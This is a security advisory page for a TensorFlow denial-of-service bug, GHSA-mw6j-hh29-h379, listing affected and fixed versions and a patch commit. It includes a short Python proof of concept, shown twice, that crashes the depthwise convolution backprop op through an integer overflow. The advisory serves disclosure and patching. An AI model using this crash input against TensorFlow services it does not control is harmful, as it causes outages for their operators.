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Severe, 6 weeks1496Projects326

1496 severe, 6 weeks · 326 projects

TensorFlowGHSA-mw6j-hh29-h379

`CHECK` failure in depthwise ops via overflows

TensorFlow

Published May 25, 2022 · updated Dec 7, 2024

Medium
Fix: upgrade to 2.6.4 or later (3 fixed versions below)
GitHub advisory

Impact

The implementation of depthwise ops in TensorFlow is vulnerable to a denial of service via CHECK-failure (assertion failure) caused by overflowing the number of elements in a tensor:

```python

import tensorflow as tf

input = tf.constant(1, shape=[1, 4, 4, 3], dtype=tf.float32)

filter_sizes = tf.constant(1879048192, shape=[13], dtype=tf.int32)

out_backprop = tf.constant(1, shape=[1, 4, 4, 3], dtype=tf.float32)

tf.raw_ops.DepthwiseConv2dNativeBackpropFilter(

input=input, filter_sizes=filter_sizes, out_backprop=out_backprop, strides=[1, 1, 1, 1], padding="SAME")

`

This is another instance of [TFSA-2021-198](https://github.com/tensorflow/tensorflow/blob/master/tensorflow/security/advisory/tfsa-2021-198.md) (CVE-2021-41197).

Patches

We have patched the issue in GitHub commit [3796cc4fcd93ae55812a457abc96dcd55fbb854b](https://github.com/tensorflow/tensorflow/commit/3796cc4fcd93ae55812a457abc96dcd55fbb854b).

The fix will be included in TensorFlow 2.9.0. We will also cherrypick this commit on TensorFlow 2.8.1, TensorFlow 2.7.2, and TensorFlow 2.6.4, as these are also affected and still in supported range.

For more information

Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.

Attribution

This...

Affected versions

PackageAffectedFixed in
tensorflow
PyPI
< 2.6.42.6.4
>= 2.7.0, < 2.7.22.7.2
>= 2.8.0, < 2.8.12.8.1
Details and references

### Impact The implementation of depthwise ops in TensorFlow is vulnerable to a denial of service via `CHECK`-failure (assertion failure) caused by overflowing the number of elements in a tensor: ```python import tensorflow as tf input = tf.constant(1, shape=[1, 4, 4, 3], dtype=tf.float32) filter_sizes = tf.constant(1879048192, shape=[13], dtype=tf.int32) out_backprop = tf.constant(1, shape=[1, 4, 4, 3], dtype=tf.float32) tf.raw_ops.DepthwiseConv2dNativeBackpropFilter( input=input, filter_sizes=filter_sizes, out_backprop=out_backprop, strides=[1, 1, 1, 1], padding="SAME") ``` This is another instance of [TFSA-2021-198](https://github.com/tensorflow/tensorflow/blob/master/tensorflow/security/advisory/tfsa-2021-198.md) (CVE-2021-41197). ### Patches We have patched the issue in GitHub commit [3796cc4fcd93ae55812a457abc96dcd55fbb854b](https://github.com/tensorflow/tensorflow/commit/3796cc4fcd93ae55812a457abc96dcd55fbb854b). The fix will be included in TensorFlow 2.9.0. We will also cherrypick this commit on TensorFlow 2.8.1, TensorFlow 2.7.2, and TensorFlow 2.6.4, as these are also affected and still in supported range. ### For more information Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions. ### Attribution This vulnerability has been reported by Neophytos Christou from Secure Systems Lab at Brown University.

Severity from
GitHub (reviewed advisory)
Weakness
CWE-190

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